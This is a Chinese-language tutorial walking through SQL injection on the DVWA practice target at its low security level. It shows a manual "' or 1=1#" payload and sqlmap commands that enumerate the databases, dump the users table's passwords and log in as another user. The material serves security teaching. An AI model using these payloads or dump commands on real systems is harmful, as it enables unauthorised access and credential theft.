1.
使用dvwa靶機進行sql注入實戰(注:當前靶機安全級別為low)
打開sql漏洞,發現輸入不同的數字會返回不同的信息,
先嘗試手工判斷是否存在sql注入
一般sql注入語句像這樣,我們構造的是后面兩個單引號里面的內容
select * from users where userid='*'
輸入:
' or 1=1#
前面一個單引號閉合了查詢語句自帶的第一個單引號,
or 1=1 使得結果永遠為真,
#則是用來讓查詢忽略后面連接的內容,--和#的作用相同
看到它的確返回了全部內容
這次我們來試試它會不會報錯
提交以后沒有顯示任何東西,推測報錯了
綜上我們可以推測這里是存在注入點的
2.
這里我的sqlmap是已經裝好的
sqlmap需要python環境才能運行(kali自帶sqlmap,或者也可以windows環境下安裝)
windows下安裝教程:
https://blog.csdn.net/lijia111111/article/details/54755009
cmd里面打開sqlmap
這里先別急着粘貼url,因為登陸dvwa靶機需要用戶名和密碼,所以會有cookie的存在。
我們需要瀏覽器插件查看cookie(推薦使用火狐瀏覽器)
這些就是當前頁面的cookie,需要放到sqlmap注入語句后面
python sqlmap.py -u"http://192.168.147.137/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=8aclj5sdvclvoo6f1c4ft7bfp3;security=low;acopendivids=swingset,jotto,phpbb2,redmine;acgroupswithpersist=nada" --batch --dbs
這里簡單解釋一下:--batch自動選擇yes or no;--dbs顯示全部數據庫
結果:
我們只用進dvwa數據庫查看
列出所有表名:
python sqlmap.py -u"http://192.168.147.137/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=8aclj5sdvclvoo6f1c4ft7bfp3;security=low;acopendivids=swingset,jotto,phpbb2,redmine;acgroupswithpersist=nada" --batch -D dvwa --tables
這里只看users
列出所有字段名:
python sqlmap.py -u"http://192.168.147.137/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=8aclj5sdvclvoo6f1c4ft7bfp3;security=low;acopendivids=swingset,jotto,phpbb2,redmine;acgroupswithpersist=nada" --batch -D dvwa -T users --columns
查看password和user:
python sqlmap.py -u"http://192.168.147.137/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=8aclj5sdvclvoo6f1c4ft7bfp3;security=low;acopendivids=swingset,jotto,phpbb2,redmine;acgroupswithpersist=nada" --batch -D dvwa -T users -C password,user --dump
拿到用戶名和密碼了,回到dvwa登陸頁面試試看
登陸成功
左下角也顯示當前用戶是pablo而不是admin